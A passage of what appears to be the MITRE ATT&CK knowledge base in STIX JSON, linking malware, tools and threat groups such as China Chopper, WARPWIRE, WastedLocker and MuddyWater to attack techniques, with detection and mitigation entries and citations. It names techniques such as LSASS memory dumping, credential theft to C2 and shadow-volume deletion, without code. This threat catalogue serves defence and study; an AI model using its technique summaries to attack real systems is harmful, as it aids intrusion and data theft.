Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","source_name":"FireEye MuddyWater Mar 2018"}],"modified":"2019-04-22T22:36:53.174Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) can disable Microsoft Office Protected View by changing Registry keys.(Citation: FireEye MuddyWater Mar 2018)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27561720-48cb-427c-892f-b31ce4d61d9e","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","source_name":"FireEye Periscope March 2018"}],"modified":"2020-03-17T00:33:52.927Z","description":"[China Chopper](https://attack.mitre.org/software/S0020)'s server component executes code sent via HTTP POST commands.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--275a2606-3eee-4c11-8a97-300b58f49d60","created":"2023-02-09T18:57:58.832Z","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-09T18:57:58.832Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) can use cmd.exe for execution.(Citation: Palo Alto Brute Ratel July 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--27611566-a11a-4e43-96be-a221878cbf23","created":"2024-03-04T16:41:12.554Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-04T16:57:02.000Z","description":"[ZIPLINE](https://attack.mitre.org/software/S1114) can identify a specific string in intercepted network traffic, `SSH-2.0-OpenSSH_0.3xx.`, to trigger its command functionality.(Citation: Mandiant Cutting Edge January 2024)","relationship_type":"uses","source_ref":"malware--d9765cbd-4c88-4805-ba98-4c6ccb56b864","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2762485e-c8a2-4bbe-b3d8-8b20ca70197b","created":"2020-11-20T15:33:56.625Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"},{"source_name":"GitHub Bloodhound","description":"Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019.","url":"https://github.com/BloodHoundAD/BloodHound"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-16T18:48:22.712Z","description":"[BloodHound](https://attack.mitre.org/software/S0521) can compress data collected by its SharpHound ingestor into a ZIP file to be written to disk.(Citation: GitHub Bloodhound)(Citation: Trend Micro Black Basta October 2022)","relationship_type":"uses","source_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27660798-1099-4bc7-9496-2b07de076f67","type":"relationship","created":"2020-03-12T20:43:54.110Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-12T20:43:54.110Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2768ad63-70a6-4962-865b-e847bc7b0b9c","created":"2022-05-27T14:17:55.222Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T22:34:18.215Z","description":"Monitor for the installation of kernel modules that could be abused to escape containers on a host.","relationship_type":"detects","source_ref":"x-mitre-data-component--23e4ee78-26f3-4fcf-ba43-ab953962f96c","target_ref":"attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--277532f0-8f01-4b9d-b59a-3c993f5e528d","created":"2023-09-26T18:38:56.338Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-26T18:38:56.338Z","description":"[MoustachedBouncer](https://attack.mitre.org/groups/G1019) has used plugins to execute PowerShell scripts.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"intrusion-set--7251b44b-6072-476c-b8d9-a6e32c355b28","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--27753f1a-96fc-4139-a19b-504f488035d7","created":"2024-03-05T19:41:17.707Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"},{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T21:06:34.020Z","description":"[WARPWIRE](https://attack.mitre.org/software/S1116) can send captured credentials to C2 via HTTP `GET` or `POST` requests.(Citation: Mandiant Cutting Edge January 2024)(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"malware--a5818d36-e9b0-46da-842d-b727a5e36ea6","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27785084-70d5-4b4d-b8d0-9ab250ade9f5","type":"relationship","created":"2021-07-20T21:42:45.203Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."},{"source_name":"Secureworks IRON HEMLOCK Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hemlock","description":"Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022."}],"modified":"2022-02-22T14:44:52.414Z","description":"(Citation: ESET Dukes October 2019)(Citation: Secureworks IRON HEMLOCK Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--277971c7-d42e-497f-8df4-be5b4bc094f8","type":"relationship","created":"2020-06-11T19:52:07.290Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}],"modified":"2020-06-15T19:59:06.682Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) has modified UPX headers after packing files to break unpackers.(Citation: Anomali Rocke March 2019)","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--277ac06b-0bb0-4384-b275-df180922b790","type":"relationship","created":"2022-03-24T21:39:40.280Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T21:39:40.280Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can create a memory dump of LSASS via the `MiniDumpWriteDump Win32` API call.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--277c6e7e-8c39-4c41-ac6f-f740bfb862b8","type":"relationship","created":"2020-09-24T14:20:39.219Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.184Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) can be controlled via a custom C2 protocol over HTTP.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2781807b-4dd7-4bd7-b453-bd258bc375ee","type":"relationship","created":"2021-05-21T20:36:30.940Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec WastedLocker June 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us","description":"Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021."},{"source_name":"NCC Group WastedLocker June 2020","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."},{"source_name":"Sentinel Labs WastedLocker July 2020","url":"https://www.sentinelone.com/labs/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/","description":"Walter, J.. (2020, July 23). WastedLocker Ransomware: Abusing ADS and NTFS File Attributes. Retrieved September 14, 2021."}],"modified":"2021-09-14T20:47:33.574Z","description":"[WastedLocker](https://attack.mitre.org/software/S0612) can delete shadow volumes.(Citation: Symantec WastedLocker June 2020)(Citation: NCC Group WastedLocker June 2020)(Citation: Sentinel Labs WastedLocker July 2020) ","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27834043-1004-4a70-9023-a318bd6db7c6","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT FALLCHILL Nov 2017","description":"US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA – North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.","url":"https://www.us-cert.gov/ncas/alerts/TA17-318A"}],"modified":"2020-03-27T20:45:20.285Z","description":"[FALLCHILL](https://attack.mitre.org/software/S0181) can search files on a victim.(Citation: US-CERT FALLCHILL Nov 2017)","relationship_type":"uses","source_ref":"malware--fece06b7-d4b1-42cf-b81a-5323c917546e","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27857b33-3c5d-4f27-9d61-d70da097fd84","type":"relationship","created":"2021-11-30T20:02:19.634Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-11-30T20:02:19.634Z","description":"[Gelsemium](https://attack.mitre.org/software/S0666) can delete its dropper component from the targeted system.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--278b9898-50c6-4c6d-9a35-7079ed580e78","created":"2020-05-06T21:01:23.454Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Attor Oct 2019","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-08T15:46:16.816Z","description":"[Attor](https://attack.mitre.org/software/S0438) has used [Tor](https://attack.mitre.org/software/S0183) for C2 communication.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2794f341-b46f-482c-b5b7-2cc7c2dcadb5","type":"relationship","created":"2021-07-06T14:00:49.696Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-07-06T14:00:49.696Z","description":"[Naikon](https://attack.mitre.org/groups/G0019) has used a netbios scanner for remote machine identification.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--279654f5-dece-48db-bc9a-93242b62433c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BADCALL","description":"US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF"}],"modified":"2020-03-28T00:32:51.220Z","description":"[BADCALL](https://attack.mitre.org/software/S0245) disables the Windows firewall before binding to a port.(Citation: US-CERT BADCALL)","relationship_type":"uses","source_ref":"malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--27993745-de4c-4ce0-b27d-cd591b0489c2","created":"2024-09-27T12:35:37.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-03T18:58:41.572Z","description":"Anti-virus can be used to automatically detect and quarantine suspicious files. Employment of advanced anti-malware techniques that make use of technologies like machine learning and behavior-based mechanisms to conduct signature-less malware detection will also be more effective than traditional indicator-based detection methods. ","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--b577dfc1-0177-4522-8d5a-782127c8592b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--279fa1bc-e514-4125-ab7e-51fb1da8a3f2","type":"relationship","created":"2019-07-16T20:02:53.325Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/connect/blogs/malware-update-windows-update","description":"Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.","source_name":"Symantec BITS May 2007"}],"modified":"2021-04-13T21:36:05.268Z","description":"\nConsider limiting access to the BITS interface to specific users or groups.(Citation: Symantec BITS May 2007)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27a1b804-f54c-4e9f-ad89-fd565a66c180","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2019-04-25T12:37:45.684Z","description":"(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142","target_ref":"tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27a36f9c-2292-4bf0-8c08-9ccfc1effffe","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"modified":"2019-04-24T23:21:59.323Z","description":"[GravityRAT](https://attack.mitre.org/software/S0237) uses the netstat command to find open ports on the victim’s machine.(Citation: Talos GravityRAT)","relationship_type":"uses","source_ref":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27a64a3a-62cb-4c1b-adfc-5070e2f1e744","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis INOCNATION","description":"Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.","url":"https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf"}],"modified":"2020-03-17T01:30:41.551Z","description":"[Hi-Zor](https://attack.mitre.org/software/S0087) communicates with its C2 server over HTTPS.(Citation: Fidelis INOCNATION)","relationship_type":"uses","source_ref":"malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--27aa0c45-a8e8-40cc-8591-39a84ca2db91","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"},{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-31T04:18:44.573Z","description":"Monitor and analyze SSL/TLS traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27afb647-85a1-4e89-8762-c6c7d04bc1c5","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-17T02:11:01.284Z","description":"[pngdowner](https://attack.mitre.org/software/S0067) uses HTTP for command and control.(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"malware--800bdfba-6d66-480f-9f45-15845c05cb5d","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27b05a62-5310-40d9-9e49-b4dce3afad55","type":"relationship","created":"2017-05-31T21:33:27.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.","source_name":"Kaspersky Darkhotel"}],"modified":"2020-03-16T20:05:43.406Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) used a virus that propagates by infecting executables stored on shared drives.(Citation: Kaspersky 